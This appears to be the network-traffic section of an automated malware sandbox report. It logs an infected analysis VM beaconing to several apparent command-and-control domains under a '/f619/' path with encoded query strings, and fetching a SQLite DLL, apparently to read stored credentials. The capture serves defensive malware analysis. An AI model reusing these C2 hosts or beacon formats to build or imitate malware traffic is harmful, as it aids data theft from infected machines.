Network Analysis
- TCP Requests
-
-
192.168.56.101:49168 109.123.121.243:80www.regnerjanet.xyz
-
192.168.56.101:49169 109.123.121.243:80www.regnerjanet.xyz
-
192.168.56.101:49171 172.67.173.11:80www.mjsink.com
-
192.168.56.101:49172 172.67.173.11:80www.mjsink.com
-
192.168.56.101:49173 210.16.189.19:80www.ginbaochip.com
-
192.168.56.101:49174 210.16.189.19:80www.ginbaochip.com
-
192.168.56.101:49170 45.33.6.223:80www.sqlite.org
-
192.168.56.101:49175 67.223.117.160:80www.towfire.life
-
192.168.56.101:49176 67.223.117.160:80www.towfire.life
-
192.168.56.101:49179 84.32.84.32:80www.energytransfer.online
-
192.168.56.101:49180 84.32.84.32:80www.energytransfer.online
-
192.168.56.101:49177 91.195.240.45:80www.marketing-solution.net
-
192.168.56.101:49178 91.195.240.45:80www.marketing-solution.net
-
- UDP Requests
-
-
192.168.56.101:53004 164.124.101.2:53
-
192.168.56.101:53850 164.124.101.2:53
-
192.168.56.101:54148 164.124.101.2:53
-
192.168.56.101:54883 164.124.101.2:53
-
192.168.56.101:55146 164.124.101.2:53
-
192.168.56.101:59002 164.124.101.2:53
-
192.168.56.101:61950 164.124.101.2:53
-
192.168.56.101:137 192.168.56.255:137
-
192.168.56.101:49154 239.255.255.250:1900
-
192.168.56.103:137 192.168.56.101:137
-
POST
404
http://www.regnerjanet.xyz/f619/
REQUEST
RESPONSE
BODY
POST /f619/ HTTP/1.1
Host: www.regnerjanet.xyz
Connection: close
Content-Length: 178
Cache-Control: no-cache
Origin: http://www.regnerjanet.xyz
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.regnerjanet.xyz/f619/
Accept-Language: en-US
Accept-Encoding: gzip, deflate
HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 18 May 2023 00:42:22 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
Content-Encoding: gzip
GET
404
http://www.regnerjanet.xyz/f619/?umuRf1-z=6wuoF5Ocy4AJpvQBu7Oine5RwOGmLKsd0ov4HSbRQC4ETZ6v/roT0yDkqgD/NT0BDr09cLMaIgNt2KmG3oCiS9IXpK2jSgOlbsyy8aE=&dn=Hu_4
REQUEST
RESPONSE
BODY
GET /f619/?umuRf1-z=6wuoF5Ocy4AJpvQBu7Oine5RwOGmLKsd0ov4HSbRQC4ETZ6v/roT0yDkqgD/NT0BDr09cLMaIgNt2KmG3oCiS9IXpK2jSgOlbsyy8aE=&dn=Hu_4 HTTP/1.1
Host: www.regnerjanet.xyz
Connection: close
HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 18 May 2023 00:42:25 GMT
Content-Type: text/html
Content-Length: 146
Connection: close
GET
200
http://www.sqlite.org/2022/sqlite-dll-win32-x86-3390000.zip
REQUEST
RESPONSE
BODY
GET /2022/sqlite-dll-win32-x86-3390000.zip HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.2; .NET4.0C; .NET4.0E)
Host: www.sqlite.org
Connection: Keep-Alive
HTTP/1.1 200 OK
Connection: keep-alive
Date: Thu, 18 May 2023 00:42:27 GMT
Last-Modified: Wed, 13 Jul 2022 19:46:17 GMT
Cache-Control: max-age=120
ETag: "m62cf2109s8b560"
Content-type: application/zip; charset=utf-8
Content-length: 570720
POST
404
http://www.mjsink.com/f619/
REQUEST
RESPONSE
BODY
POST /f619/ HTTP/1.1
Host: www.mjsink.com
Connection: close
Content-Length: 190
Cache-Control: no-cache
Origin: http://www.mjsink.com
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.mjsink.com/f619/
Accept-Language: en-US
Accept-Encoding: gzip, deflate
HTTP/1.1 404 Not Found
Date: Thu, 18 May 2023 00:42:35 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
Vary: Accept-Encoding
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=q%2Bo33hrnt4PHi%2Fm87b5YbbNkGHknUbO8xmuuvf9vPFthfbRjUKCmK2sFMxPgYSZoUII0B3lkAOdEHKCgTAHjPW7ld82VkE6f4zPVNvXvjuy4vTds%2B9Eg9Ti7L%2FMWuSjYCA%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 7c900fa248cb1a05-KIX
Content-Encoding: gzip
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
GET
404
http://www.mjsink.com/f619/?umuRf1-z=QohnKbePrODEc2nRtJyzKv2nV7sTIQ5Qx9yDXgwt8Ie8gSFBAbmvCJj6zIyweYgDzy/0i+4z3xbiwRYsSsB8T6DnOWQEfeuCAQefg3Q=&dn=Hu_4
REQUEST
RESPONSE
BODY
GET /f619/?umuRf1-z=QohnKbePrODEc2nRtJyzKv2nV7sTIQ5Qx9yDXgwt8Ie8gSFBAbmvCJj6zIyweYgDzy/0i+4z3xbiwRYsSsB8T6DnOWQEfeuCAQefg3Q=&dn=Hu_4 HTTP/1.1
Host: www.mjsink.com
Connection: close
HTTP/1.1 404 Not Found
Date: Thu, 18 May 2023 00:42:38 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
Vary: Accept-Encoding
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=U1QJpiObBOupLl6ct25F9vjRSuw5ezerEIM1%2BY49vnjHD8gQ0yOazN4uoFPAYvB%2FDDwM6KvYOwVJNTGXhxfuxOUhS2Wt%2FE16VAnjF%2FTIXeWnLOTV9HZ2MTKOnfVpBRq1YQ%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 7c900fb20bc01a3d-KIX
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
POST
404
http://www.ginbaochip.com/f619/
REQUEST
RESPONSE
BODY
POST /f619/ HTTP/1.1
Host: www.ginbaochip.com
Connection: close
Content-Length: 190
Cache-Control: no-cache
Origin: http://www.ginbaochip.com
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.ginbaochip.com/f619/
Accept-Language: en-US
Accept-Encoding: gzip, deflate
HTTP/1.0 404 Not Found
Server: nginx/1.20.1
Date: Thu, 18 May 2023 08:42:42 GMT
Content-Type: text/html
Content-Length: 555
X-Cache: MISS from Ichengyun.Net
Via: 1.0 Ichengyun.Net (squid/3.0.STABLE26)
Connection: close
GET
404
http://www.ginbaochip.com/f619/?umuRf1-z=J8+hP/zSxq0se/+LWXXRGMthd5MtqREYtVha/m82I85cLREj8S8ix7RpcjqSy8HBHkmEBC3cSxdy+flYH4rJd56MdeRk/rncEkBsCJA=&dn=Hu_4
REQUEST
RESPONSE
BODY
GET /f619/?umuRf1-z=J8+hP/zSxq0se/+LWXXRGMthd5MtqREYtVha/m82I85cLREj8S8ix7RpcjqSy8HBHkmEBC3cSxdy+flYH4rJd56MdeRk/rncEkBsCJA=&dn=Hu_4 HTTP/1.1
Host: www.ginbaochip.com
Connection: close
HTTP/1.0 404 Not Found
Server: nginx/1.20.1
Date: Thu, 18 May 2023 08:42:45 GMT
Content-Type: text/html
Content-Length: 153
X-Cache: MISS from Ichengyun.Net
Via: 1.0 Ichengyun.Net (squid/3.0.STABLE26)
Connection: close
POST
404
http://www.towfire.life/f619/
REQUEST
RESPONSE
BODY
POST /f619/ HTTP/1.1
Host: www.towfire.life
Connection: close
Content-Length: 190
Cache-Control: no-cache
Origin: http://www.towfire.life
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.towfire.life/f619/
Accept-Language: en-US
Accept-Encoding: gzip, deflate
HTTP/1.1 404 Not Found
Date: Thu, 18 May 2023 00:42:51 GMT
Server: Apache
Content-Length: 389
Connection: close
Content-Type: text/html
GET
404
http://www.towfire.life/f619/?umuRf1-z=Ehbg4LlyVMHP0pAFmIQxhDDkp6Kxs477sF6nDv0EaT5K8/1GH5wf1bgzqSKTUaDZXTnW9d28cNYQDMZcc5x0F8aQqyCdRYlsL10lLoU=&dn=Hu_4
REQUEST
RESPONSE
BODY
GET /f619/?umuRf1-z=Ehbg4LlyVMHP0pAFmIQxhDDkp6Kxs477sF6nDv0EaT5K8/1GH5wf1bgzqSKTUaDZXTnW9d28cNYQDMZcc5x0F8aQqyCdRYlsL10lLoU=&dn=Hu_4 HTTP/1.1
Host: www.towfire.life
Connection: close
HTTP/1.1 404 Not Found
Date: Thu, 18 May 2023 00:42:53 GMT
Server: Apache
Content-Length: 389
Connection: close
Content-Type: text/html; charset=utf-8
POST
403
http://www.marketing-solution.net/f619/
REQUEST
RESPONSE
BODY
POST /f619/ HTTP/1.1
Host: www.marketing-solution.net
Connection: close
Content-Length: 190
Cache-Control: no-cache
Origin: http://www.marketing-solution.net
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.marketing-solution.net/f619/
Accept-Language: en-US
Accept-Encoding: gzip, deflate
HTTP/1.1 403 Forbidden
date: Thu, 18 May 2023 00:42:59 GMT
content-type: text/html
transfer-encoding: chunked
vary: Accept-Encoding
server: NginX
content-encoding: gzip
connection: close
GET
200
http://www.marketing-solution.net/f619/?umuRf1-z=7aEb1be+dODnXJS70ht2rOIyRE7tt83KP3MXokAl2sed9H5NqFjOq19haFrbwR5XS7xCcbMG4E83Por5kDVXeeM4WTNIDHd3Sc1+pdc=&dn=Hu_4
REQUEST
RESPONSE
BODY
GET /f619/?umuRf1-z=7aEb1be+dODnXJS70ht2rOIyRE7tt83KP3MXokAl2sed9H5NqFjOq19haFrbwR5XS7xCcbMG4E83Por5kDVXeeM4WTNIDHd3Sc1+pdc=&dn=Hu_4 HTTP/1.1
Host: www.marketing-solution.net
Connection: close
HTTP/1.1 200 OK
date: Thu, 18 May 2023 00:43:02 GMT
content-type: text/html; charset=UTF-8
transfer-encoding: chunked
vary: Accept-Encoding
x-powered-by: PHP/8.1.17
expires: Mon, 26 Jul 1997 05:00:00 GMT
cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
pragma: no-cache
x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_XKoVea/4EYdnHDTUifhHidBFQjXBwCJDRDZnusWmYzOJc/A6/+O1EjOujNTPk46CJdnKlCWPIKRk2+8CbtIYLA==
last-modified: Thu, 18 May 2023 00:43:02 GMT
x-cache-miss-from: parking-74ccf657ff-jhkw5
server: NginX
connection: close
POST
405
http://www.energytransfer.online/f619/
REQUEST
RESPONSE
BODY
POST /f619/ HTTP/1.1
Host: www.energytransfer.online
Connection: close
Content-Length: 190
Cache-Control: no-cache
Origin: http://www.energytransfer.online
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.energytransfer.online/f619/
Accept-Language: en-US
Accept-Encoding: gzip, deflate
HTTP/1.1 405 Not Allowed
Server: hcdn
Date: Thu, 18 May 2023 00:43:09 GMT
Content-Type: text/html
Content-Length: 551
Connection: close
x-hcdn-request-id: 57ad267480c48240d3a63a91f113c097-fast-edge1
GET
200
http://www.energytransfer.online/f619/?umuRf1-z=imAs1hkpHrLTTkkyOgnH89N/E9bMOyYXgY//e0ZAWIltUe1JjhRFlIwaBCyG3+J8qMS7wCwKaJDJAhWlf84Z7A+nWgiGhVr1qYjHL9w=&dn=Hu_4
REQUEST
RESPONSE
BODY
GET /f619/?umuRf1-z=imAs1hkpHrLTTkkyOgnH89N/E9bMOyYXgY//e0ZAWIltUe1JjhRFlIwaBCyG3+J8qMS7wCwKaJDJAhWlf84Z7A+nWgiGhVr1qYjHL9w=&dn=Hu_4 HTTP/1.1
Host: www.energytransfer.online
Connection: close
HTTP/1.1 200 OK
Server: hcdn
Date: Thu, 18 May 2023 00:43:11 GMT
Content-Type: text/html
Content-Length: 10066
Connection: close
Vary: Accept-Encoding
x-hcdn-request-id: 92421b994ce333203e854b8fb1e0b4fd-fast-edge1
Expires: Thu, 18 May 2023 00:43:10 GMT
Cache-Control: no-cache
Accept-Ranges: bytes
ICMP traffic
No ICMP traffic performed.
IRC traffic
No IRC requests performed.
Suricata Alerts
Suricata TLS
No Suricata TLS
Snort Alerts
No Snort Alerts